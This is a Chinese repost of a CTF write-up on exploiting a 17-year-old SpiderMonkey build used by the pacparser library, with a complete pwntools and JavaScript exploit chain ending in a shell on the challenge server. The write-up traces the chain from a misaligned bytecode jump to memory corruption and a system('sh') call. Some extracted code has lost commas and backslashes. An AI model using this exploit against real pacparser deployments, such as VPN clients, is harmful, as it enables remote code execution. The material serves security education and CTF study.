古老的猴子征服 17 年前的 SpiderMonkey - pwn pacparser

admin 2024年11月6日00:19:48评论11 views字数 17368阅读57分53秒阅读模式

Ancient Monkey Pwning a 17-Year-Old Version of SpiderMonkey

去年,@swapgs和我在流行的企业 VPN 解决方案Zscaler中发现了一个有趣的漏洞。VPN 客户端使用pacparser库来决定哪些 HTTP 请求应该被代理。这个决定是基于一个预配置的代理自动配置(PAC)文件,该文件包含 JavaScript 代码。

这个漏洞允许我们从一个字符串中逃逸,并在 PAC 文件的上下文中执行任意 JavaScript。我们注意到 pacparser 使用的是一个17 年前的 SpiderMonkey 版本(Firefox 的 JS 引擎),但当时我们没有机会开发一个完整的利用程序。相反,我们只是报告了这个漏洞,建议代码执行可能是可行的。

快进到今年。在准备 Hack.lu CTF 2024 时,我注意到我们的 pwn 挑战较少,所以我决定重新磨练我的 pwn 技能(我通常是一个网页玩家),并尝试这个漏洞!

一个有前景的 SpiderMonkey 漏洞

我开始在 Mozilla 的 bug 追踪器中搜索合适的漏洞。我发现了一些在 pacparser 的 SpiderMonkey 版本中有效的漏洞,其中一个听起来相当有趣:

[398085 - 大型 switch 语句崩溃 @ js_InterpretVERIFIED (igor) 在核心 - JavaScript 引擎中。最后更新于 2012-01-23.

在阅读评论时,这条评论很好地总结了这个漏洞:

大型函数中的 switch 语句相当破损。在这个测试用例中,switch 无法到达,但它的存在导致发射器为‘if’语句生成错误的字节码。它应该是‘ifeqx 32804’,但实际上是‘ifeq 14’。

使用这个技巧,攻击者可以让引擎执行任意字节码,因此这可能是安全敏感的?

当一个函数的总字节码过长时,跳转会出现问题。以下代码将导致第一个if进行短跳转(11 字节),而不是跳转到块的末尾。

function trigger(a{
  var foo;
  var bar;
  if (a) {
    foo = (1);
    bar = 0x414141;

    // Next line requires 48 bytes:
    // 8 * getargprop (5 bytes) + 7 add (1 byte) + 1 pop (1 byte)
    a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x;
    a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x;
    a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x;
    // ... repeat this line 680 more times (= 32784 bytes) ...
  }

  return "Everything's fine."
  // Comment out the switch statement and the bug disappears.
  switch (a) {
    case 1: ;
    case 2return;
  }
}

trigger(false);

这样的错位跳转可以用来通过跳转到 UINT24 指令的字面部分来执行任意字节码:

0000: 56 00 00      GETVAR 0          ; var foo
0003: 51            POP               ;
0004: 56 00 01      GETVAR 1          ; var bar
0007: 51            POP               ;
0008: 54 00 00      GETARG 0          ;
000b: 07 00 0b      IFEQ 0xb          ; if (a) {
000e: 00            NOP               ;
000f: 3f            ONE               ;
0010: 83            GROUP             ;
0011: 57 00 00      SETVAR 0          ; foo = (1)
0014: 51            POP               ;
0015: bc 41 41 41   UINT24 0x414141   ;
0019: 57 00 01      SETVAR 1          ; bar = 0x414141
001c: 51            POP               ;
; ...

IFEQ 跳转在 0000b 将跳转 0xb(11)字节,落在 0016。由于 UINT24 指令从 0015 开始,这就是一个错位跳转。SpiderMonkey 将尝试运行下一个字节(0x41),这对应于 THIS 指令。

通过这种方式,我们可以执行任意字节码,但我们限制在 3 字节内。大多数指令要么是 1 字节,要么是 3 字节长。我们可以通过将前 2 字节用于指令并将最后一个字节设置为 IFEQIFNE 操作码来运行更长的 1 字节指令序列。由于 IFEQIFNE 是 3 字节指令,它们将消耗后面的 2 字节。

当编写像 0x000007,0x000007,0x000007 这样的 JavaScript 时,生成的字节码汇编看起来像这样:

0000: bc 00 00 07   UINT24 0x000007
0004: 51            POP
0005: bc 00 00 07   UINT24 0x000007
0009: 51            POP
000a: bc 00 00 07   UINT24 0x000007
000e: 51            POP

然而,当使用错位跳转时,执行以下虚拟机指令:

0000: bc                       ; ignored due to misaligned jump
0001: 00         NOP           ; execution starts here
0002: 00         NOP
0003: 07 51 bc   IFEQ 0x51bc   ; not taken
0006: 00         NOP
0007: 00         NOP
0008: 07 51 bc   IFEQ 0x51bc   ; not taken
000b: 00         NOP
000c: 00         NOP
000d: 07 51 bc   ; ...

通过巧妙地选择 IFEQIFNE 使得分支永远不会被执行,我们可以成功跳过原始 POPUINT24 指令中的 51 bc 字节。我们可以使用任意的 1 字节指令来替代 NOP,如果需要的话,可以形成一个非常长的链。

内存破坏

任意字节码执行很酷,但要做一些有意义的事情,我们需要破坏一些内存。为此,我不得不四处查看,看看哪些指令可以做一些有趣的事情。

过了一段时间,我意识到 POP/POP2 可能正是我所寻找的。它们会减少虚拟机的栈指针,并且不检查是否会导致栈下溢:

jsinterp.csource

BEGIN_CASE(JSOP_POP)
  sp--;
END_CASE(JSOP_POP)

BEGIN_CASE(JSOP_POP2)
  sp -= 2;
END_CASE(JSOP_POP2)

在检查 sp 周围的内存时,我注意到栈帧对象就位于其正下方。它包含一些有趣的内容,包括许多指针:

jsinterp.hsource

struct JSStackFrame {
  JSObject        *callobj;       /* lazily created Call object */
  JSObject        *argsobj;       /* lazily created arguments object */
  JSObject        *varobj;        /* variables object, where vars go */
  JSScript        *script;        /* script being interpreted */
  JSFunction      *fun;           /* function being called or null */
  JSObject        *thisp;         /* "this" pointer if in method */
  uintN           argc;           /* actual argument count */
  jsval           *argv;          /* base of argument stack slots */
  jsval           rval;           /* function return value */
  uintN           nvars;          /* local variable count */
  jsval           *vars;          /* base of variable stack slots */
  JSStackFrame    *down;          /* previous frame */
  void            *annotation;    /* used by Java security */
  JSObject        *scopeChain;    /* scope chain */
  jsbytecode      *pc;            /* program counter */
  jsval           *sp;            /* stack pointer */
  jsval           *spbase;        /* operand stack base */
  uintN           sharpDepth;     /* array/object initializer depth */
  JSObject        *sharpArray;    /* scope for #n= initializer vars */
  uint32          flags;          /* frame flags -- see below */
  JSStackFrame    *dormantNext;   /* next dormant frame chain */
  JSObject        *xmlNamespace;  /* null or default xml namespace in E4X */
  JSObject        *blockChain;    /* active compile-time block scopes */
};

通过链接一系列的 POP2,我们可以使栈指针指向 &fp->argv。下次我们向栈中推送内容时,将会覆盖 fp->argv。然后,我们可以使用 GETARGSETARG 指令从 fp->argv 中读取和写入数据:

jsinterp.csource

BEGIN_CASE(JSOP_GETARG)
  slot = GET_ARGNO(pc);
  PUSH_OPND(fp->argv[slot]);
END_CASE(JSOP_GETARG)

BEGIN_CASE(JSOP_SETARG)
  slot = GET_ARGNO(pc);
  vp = &fp->argv[slot];
  *vp = FETCH_OPND(-1);
END_CASE(JSOP_SETARG)

我们可以控制这些指令中的 slot,它是从字节码中读取的 uint16_t。这意味着我们现在可以读取 ptr[slot] 并写入 ptr[slot] = val。唯一的问题是栈帧在这个过程中被破坏,导致虚拟机在从当前函数返回时崩溃。我没有调查为什么会发生这种情况或是否可以防止它。相反,我只是开始调用一个回调函数,而不是返回:

function pwn(a, cb) {
  var foo, bar;
  if (a) {
    foo = (1);
    bar = 0x6b6b07,0x6b6b07,0x6b6b07,0x6b6b07,0x6b6b07// point sp to &fp->argv
    cb(a); // call cb with the value of fp->argv[0]

    // ...
  }
  // ...
}

构建 addrof 原语

在这个 SpiderMonkey 版本中,JavaScript 值可以是多种类型之一。该值被标记为特定类型的掩码,以便虚拟机在使用该值之前知道其类型。这些是可能的类型及其掩码:

类型 掩码
JSObject* 0b000
int 0b001
double* 0b010
JSString* 0b100
bool 0b110

例如,当值是一个对象时,它将是指向该对象的原始指针(obj_ptr & 0b000)。当值是一个整数时,它将被存储为 (int_val << 1) | 1。当值是一个双精度数或字符串时,它是一个带有相应掩码值的指针。

要将原始指针转换为可以在 JavaScript 世界中处理的值,我们需要将其转换为整数或双精度数,或者以某种方式将其写入字符串的字符数组中。整数不太适合,因为我们不能仅仅将最低有效位设置为 1。字符串也不方便,因为我们必须去掉指针掩码才能获得字符数组指针。

双精度数对我们来说可能更有帮助,这在我们查看它们在内存中的表现时变得清晰。像 0x55d9ab4b8c62 这样的值被识别为双精度数,因为它的最低有效十六进制数字是 2。为了访问该值,虚拟机会去掉掩码,得到 0x55d9ab4b8c60,并读取该地址的 8 个字节。字节 3d0ad7a370bd2a40 对应于 13.37 的 IEEE-754 浮点编码:

0x55d9ab4b8c60:  3d 0a d7 a3  70 bd 2a 40   00 00 00 00  00 00 00 00
0x55d9ab4b8c70:  40 00 00 00  00 00 00 c0   80 8c 4b ab  d9 55 00 00

然而,通过我们的指针写入原语,我们只能写入双指针,而不去除标签(0x55d9ab4b8c62)。这将导致访问以下内存:

0x55d9ab4b8c60:  3d 0a d7 a3  70 bd 2a 40   00 00 00 00  00 00 00 00
0x55d9ab4b8c70:  40 00 00 00  00 00 00 c0   80 8c 4b ab  d9 55 00 00

进行这样的非对齐写入只会覆盖双精度值的上 6 个字节,并且会“丢失”被写入值的上 2 个字节,因为它是写在双精度值之外。指针在 64 位机器上是 8 个字节,但实际上只保存 48 位的信息,也就是 6 个字节。

这个巧合使我们能够将一个指针写入非对齐(带标签的)双精度指针,并且仍然保留双精度值中的所有相关位!将指针0x0000414141414141写入双精度值的效果如下:

0x55d9ab4b8c60:  3d 0a 41 41  41 41 41 41   00 00 00 00  00 00 00 00
0x55d9ab4b8c70:  40 00 00 00  00 00 00 c0   80 8c 4b ab  d9 55 00 00

在 JavaScript 世界中,我们可以读取双精度数并手动将其转换为字节表示,结果为 3d0a414141414141。通过去掉前两个字节并从小端转换,我们得到了原始指针 0x414141414141。因此,我们的 addrof 原语可以这样实现:

function addrof(a, double, ptr, cb) {
  var foo, bar;
  var _double = double;
  var _ptr = ptr;
  if (a) {
    foo = (1);
    bar = 0x6b6b07,0x6b6b07,0x6b6b07,0x6b6b07,0x6b6b07// point sp to &fp->argv
    b + (          // overwrite fp->argv with the double pointer
      (a = _ptr),  // write the pointer to *double (misaligned)
      cb(_double)  // call cb with the double pointer
    )
    // ...
  }
  // ...
}

回调函数需要将双精度数转换为其字节表示,例如使用这个 JS IEEE-754 实现。

泄露有趣的信息

从现在开始,我们只需进行常规的 pwn 工作™。首先,我们通过读取函数指针泄露二进制文件在内存中的基地址。使用我们的指针解引用原语和 addrof 这非常简单。所有 JS 对象都包含一个函数指针结构体,位于 obj->map->ops 中:

古老的猴子征服 17 年前的 SpiderMonkey - pwn pacparser

JSObject 结构

通过读取常规 JS 对象的 lookupProperty 函数指针,我们可以获得二进制文件中 js_LookupProperty 函数的地址。从那里,我们可以通过减去函数的偏移量来计算基地址。

要获取 libc 基地址,我们可以读取全局偏移表 (GOT) 中的一个条目。由于二进制文件启用了完整的 RelRO,因此所有条目都已解析。从那里我们可以计算出 system() 函数的地址,稍后我们将使用该地址获取 shell。

获取 shell

为了劫持控制流,我们可以覆盖并调用一个函数指针。JS 对象的 ops 指针是很好的候选者,但问题是我们无法完全控制调用参数。查看实际函数,我们可以看到它们都期望一个上下文指针作为第一个参数:

JS_HasProperty(JSContext *cx, JSObject *obj, const char *name, JSBool *foundp);
JS_LookupProperty(JSContext *cx, JSObject *obj, const char *name, jsval *vp);
JS_GetProperty(JSContext *cx, JSObject *obj, const char *name, jsval *vp);
// ...

幸运的是,上下文对象在二进制运行期间是相同的,并且它存储在二进制的 .bss 段中:

0013e1b0  uint64_t myip = 0x0
0013e1b8  uint64_t rt = 0x0
0013e1c0  <span>uint64_t cx = 0x0</span>
0013e1c8  uint64_t global = 0x0
0013e1d0  uint32_t didFirstChecks.0 = 0x0

对象本身位于堆上,因此我们可以泄露它的地址并写入其位置,以控制传递给 ops 函数的第一个参数指向何处。为了获得一个 shell,我们将用 system() 函数指针覆盖 getProperty(),并将我们的 shell 命令写入 *cx

为了写入任意数据,我们可以像之前一样使用双精度值,但这里我们可以采用更简单的方法。由于整数是通过 1 进行移位和掩码处理的,我们可以利用这一点创建一个短字节序列,使第一个字节的最低有效位被设置。

对于 shell,我们可以将 "shx00" 作为值写入,这在原始字节中是 736800,或作为小端整数是 0x6873。为了适应值标记,我们必须在 JS 世界中使用右移后的值 (0x3439)。在内存中,由于值标记,该值将再次是我们期望的字节序列 (73680000)。

一切准备就绪后,我们只需访问 obj.x 即可获得我们的 shell。这个 JS 表达式将导致通过 obj->map->ops->getProperty(cx, ...) 检索 objx 属性。由于 getProperty 操作已被 libc 的 system() 覆盖,并且 cx 现在指向 "shx00",这相当于调用 system("sh"),从而给我们一个 shell!

[*] './pactester'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[*] './libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
chal.lookupProperty: 0x9a85a
chal.cx:             0x13e1c0
[email protected]: 0x137ee0
libc.getenv:         0x487a0
libc.system:         0x58740
[+] Opening connection to monke.flu.xxx on port 1337: Done
[*] Switching to interactive mode
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ /readflag
flag{no_jit_no_wasm_no_worries}

总结

这一切大约花了我一周的时间来弄明白,在此期间我学到了很多!我把大部分时间归因于我不是一个常规的攻击者,但也许我高估了经验能节省多少时间。在 CTF 结束后,我意识到我可能应该给玩家更多的提示,因为这个挑战只被解决了一次,而玩家使用了不同的漏洞。

如果我再创建这个挑战,我会把漏洞票作为提示,这样人们就不必自己去寻找,可以专注于攻击。我认为这样挑战会更容易接近,因为这个漏洞允许执行任意字节码,给玩家提供了更多的操作空间。

无论如何,我希望你喜欢这篇写作,也许你也学到了一些东西。有趣的是,一些缺失的缓解措施使得利用变得更容易(例如,没有常量混淆),而一些缺失的特性则使得利用变得不那么方便(例如,没有 WASM rwx页面)。也许我明年需要再创建一个挑战,以便有借口学习现代 JS 引擎的攻击?

最终利用

exploit.py

import re
from pwn import *

pactester = ELF('./pactester')
libc = ELF('./libc.so.6')

# get offsets
lookup_property = hex(pactester.symbols['js_LookupProperty'] - pactester.address)
cx = hex(pactester.symbols['cx'] - pactester.address)
getenv_got_plt = hex(pactester.got['getenv'] - pactester.address)
libc_getenv = hex(libc.symbols['getenv'])
libc_system = hex(libc.symbols['system'])

print('chal.lookupProperty:', lookup_property)
print('chal.cx:            ', cx)
print('[email protected]:', getenv_got_plt)
print('libc.getenv:        ', libc_getenv)
print('libc.system:        ', libc_system)

with open('./exploit.js''r'as f:
    js = f.read()

# replace offsets
js = re.sub('(var OFFSET_LOOKUP_PROPERTY =) 0x[a-f0-9]+(;)'r'1 ' + lookup_property + r'2', js)
js = re.sub('(var OFFSET_CX              =) 0x[a-f0-9]+(;)'r'1 ' + cx + r'2', js)
js = re.sub('(var OFFSET_GETENV_GOT      =) 0x[a-f0-9]+(;)'r'1 ' + getenv_got_plt + r'2', js)
js = re.sub('(var OFFSET_GETENV          =) 0x[a-f0-9]+(;)'r'1 ' + libc_getenv + r'2', js)
js = re.sub('(var OFFSET_SYSTEM          =) 0x[a-f0-9]+(;)'r'1 ' + libc_system + r'2', js)

# minify JS
js = re.sub(r'^s+''', js)
js = re.sub(r'(W)s+(w)'r'12', js)
js = re.sub(r'(w)s+(W)'r'12', js)
js = re.sub(r'(W)s+(W)'r'12', js)
js = re.sub(r'(W)s+(W)'r'12', js)
js = js.replace("'"'"')
js = js.replace(';}''}')
js = js.strip().rstrip(';')

url = '://);function findProxyForURL(s){return eval(s.slice(63))}<!--/' + js + '//\'

host = args.HOST or 'localhost'
r = remote(host, 1337)
r.sendlineafter(b': ', url.encode())
r.interactive()

exploit.js

function toIEEE754(v, ebits, fbits{
    var bias = (1 << (ebits - 1)) - 1;
    var s, e, f;
    if (isNaN(v)) {
        e = (1 << bias) - 1; f = 1; s = 0;
    } else if (v === Infinity || v === -Infinity) {
        e = (1 << bias) - 1; f = 0; s = (v < 0) ? 1 : 0;
    } else if (v === 0) {
        e = 0; f = 0; s = (1 / v === -Infinity) ? 1 : 0;
    } else {
        s = v < 0;
        v = Math.abs(v);
        if (v >= Math.pow(21 - bias)) {
            var ln = Math.min(Math.floor(Math.log(v) / Math.LN2), bias);
            e = ln + bias;
            f = v * Math.pow(2, fbits - ln) - Math.pow(2, fbits);
        } else {
            e = 0;
            f = v / Math.pow(21 - bias - fbits);
        }
    }

    var i, bits = [];
    for (i = fbits; i; i -= 1) { bits.push(f % 2 ? 1 : 0); f = Math.floor(f / 2); }
    for (i = ebits; i; i -= 1) { bits.push(e % 2 ? 1 : 0); e = Math.floor(e / 2); }
    bits.push(s ? 1 : 0);
    bits.reverse();
    var str = bits.join('');

    var bytes = [];
    while (str.length) {
        bytes.push(parseInt(str.substring(08), 2));
        str = str.substring(8);
    }
    return bytes;
}

function fromIEEE754(bytes, ebits, fbits{
    var bits = [];
    for (var i = bytes.length; i; i -= 1) {
        var byte = bytes[i - 1];
        for (var j = 8; j; j -= 1) {
            bits.push(byte % 2 ? 1 : 0); byte = byte >> 1;
        }
    }
    bits.reverse();
    var str = bits.join('');

    var bias = (1 << (ebits - 1)) - 1;
    var s = parseInt(str.substring(01), 2) ? -1 : 1;
    var e = parseInt(str.substring(11 + ebits), 2);
    var f = parseInt(str.substring(1 + ebits), 2);

    if (e === (1 << ebits) - 1) {
        return f !== 0 ? NaN : s * Infinity;
    } else if (e > 0) {
        return s * Math.pow(2, e - bias) * (1 + f / Math.pow(2, fbits));
    } else if (f !== 0) {
        return s * Math.pow(2, -(bias-1)) * (f / Math.pow(2, fbits));
    } else {
        return s * 0;
    }
}

function fromIEEE754Double(breturn fromIEEE754(b, 1152); }
function   toIEEE754Double(vreturn   toIEEE754(v, 1152); }

function toIEEE754DoubleString(v{
    return toIEEE754Double(v)
            .map(function(n)var h = n.toString(16); return h.length == 1 ? '0' + h : h })
            .join('')
}

function fromIEEE754DoubleString(s{
    s = s.substring(416) + '0000';
    var bytes = s.match(/../g).map(function(n)return parseInt(n, 16) });
    return fromIEEE754Double(bytes);
}

var BIG = '';
for (var i = 0; i < 600; i++) BIG += 'a.x+a.x+a.x+a.x+a.x+a.x+a.x+a.x;';

function runBytecode(instr, prologue, epilogue{
    prologue = prologue || '';
    epilogue = epilogue || '';
    return Function('a''b''c''d''e'''
        + 'var _,__,foo;'
        + prologue + ';'
        + 'if(c){'
        +   'do{'
        +     '__=(1);'
        +     '_='+instr+';'
        +   '}while(foo);'
        +   'return;'
        +   BIG
        + '}'
        + 'return _;'
        + 'switch(a){'
        +   'case 1:'
        +   'case 2:return'
        + '}'
        + 'return 0;'
        + epilogue
    );
}

function pop(n, jumps{
    var lits = [];
    while (n>0) {
        if (n > 5) {
            literal = '0x6b6b' + (jumps[lits.length]?'07':'08');
            n -= 5;
        } else if (n == 5) {
            literal = '0x6b6b00';
            n -= 5;
        } else {
            literal = '0x' + [,'000000','510000','515100','515151'][n];
            n -= n;
        }
        lits.push(literal);
    }
    return '('+lits.join(',')+')';
}

function leakFuncPtr() {
    var getOpsPtr = runBytecode(pop(25,[0,0,1,0,1,1]) + ';var foo=b;foo=a;foo=b;foo=c;return foo');
    return getOpsPtr(123, {}, 0);
}

function doubleToHex(double{
    return padStart(toIEEE754DoubleString(double).substring(012), 16'0');
}

function addrof(val, cb{
    var writeToDouble = runBytecode(pop(29,[1,1,0,1,1,1]) + ';b+((a=__),cb(saved))''__=a;var saved=b,cb=d');
    var double = 156842099844.51764;
    writeToDouble(val, double, 0function(double){
        cb(doubleToHex(double));
    });
}

var writeWhatWhereFunc = runBytecode(pop(29,[1,1,0,1,1,1]) + ';b+((a=__),cb(saved))''__=a;var saved=b,cb=d');
function write(what, where, cb{
    writeWhatWhereFunc(what, where, 0, cb);
}

function writeObjOpsPtr(obj, ptr, cb{
    var writePtr = runBytecode(pop(29,[1,1,0,1,1,1]) + ';foo=b;foo=a;foo=b+((e=saved)+cb())''var saved=a,cb=d;');
    writePtr(ptr, obj, 0, cb);
}

var derefFunc = runBytecode(pop(29,[1,1,0,1,1,1]) + ';b+cb(a)''__=a;var saved=b,cb=d');
function deref(doublePtr, cb{
    derefFunc(null, doublePtr, 0, cb);
}

function rawPtr(hex, cb{
    var double = fromIEEE754DoubleString(hex);
    deref(double, cb);
}

function readPtr(addrHex, cb{
    rawPtr(addrHex, function(ptr{
        deref(ptr, function(val{
            addrof(val, cb);
        });
    });
}

function padStart(s, n, c{
    var res = '';
    while (res.length < n - s.length) res += c;
    return res + s;
}
function hexPtrAdd(h, n{
    var hi = parseInt(h.substring(0, h.length-8), 16);
    var lo = parseInt(h.substring(h.length-8, h.length), 16);
    lo += n;
    return padStart(hi.toString(16), 8'0') + padStart(lo.toString(16), 8'0');
}

var OFFSET_LOOKUP_PROPERTY = 0x9a85a;
var OFFSET_CX              = 0x13e1c0;
var OFFSET_GETENV_GOT      = 0x137ee0;
var OFFSET_GETENV          = 0x487a0;
var OFFSET_SYSTEM          = 0x58740;

var leakme = leakFuncPtr();
addrof(leakme, function(addr{
    var base = hexPtrAdd(addr, -OFFSET_LOOKUP_PROPERTY);
    var cxBss = hexPtrAdd(base, OFFSET_CX);
    readPtr(cxBss, function(cx{
        var getenvGot = hexPtrAdd(base, OFFSET_GETENV_GOT);
        readPtr(getenvGot, function(getenv{
            var libc = hexPtrAdd(getenv, -OFFSET_GETENV);
            var system = hexPtrAdd(libc, OFFSET_SYSTEM);
            rawPtr(cx, function(cxPtr{
                var cmd = 0x006873 >>> 1;
                write(cmd, cxPtr, function(){
                    rawPtr(system, function(systemPtr{
                        var pwnMe = {};
                        writeObjOpsPtr(pwnMe, systemPtr, function() {
                            pwnMe.x;
                        });
                    });
                });
            });
        });
    });
});

原文始发于微信公众号(securitainment):古老的猴子征服 17 年前的 SpiderMonkey - pwn pacparser

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月6日00:19:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   古老的猴子征服 17 年前的 SpiderMonkey - pwn pacparserhttp://cn-sec.com/archives/3359151.html

发表评论

匿名网友 填写信息